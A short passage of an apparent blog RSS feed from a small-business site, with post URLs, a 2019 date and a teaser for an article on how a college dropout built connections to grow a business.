]]> https://ventureneer.com/female-founder-provides-small-loans-to-help-college-students-avoid-dropping-out/feed/ 0 Take A Lesson From A College Dropout On How To Make Connections To Grow Your Business https://ventureneer.com/take-a-lesson-from-a-college-dropout-on-how-to-make-connections-to-grow-your-business/ https://ventureneer.com/take-a-lesson-from-a-college-dropout-on-how-to-make-connections-to-grow-your-business/#respond Wed, 21 Aug 2019 01:51:57 +0000 http://ventureneer.com/?p=2630 If you want your company to grow, you need access to more than money. You need the advice and talents of a wide range of people, including other entrepreneurs.

]]> https://ventureneer.com/take-a-lesson-from-a-college-dropout-on-how-to-make-connections-to-grow-your-business/feed/ 0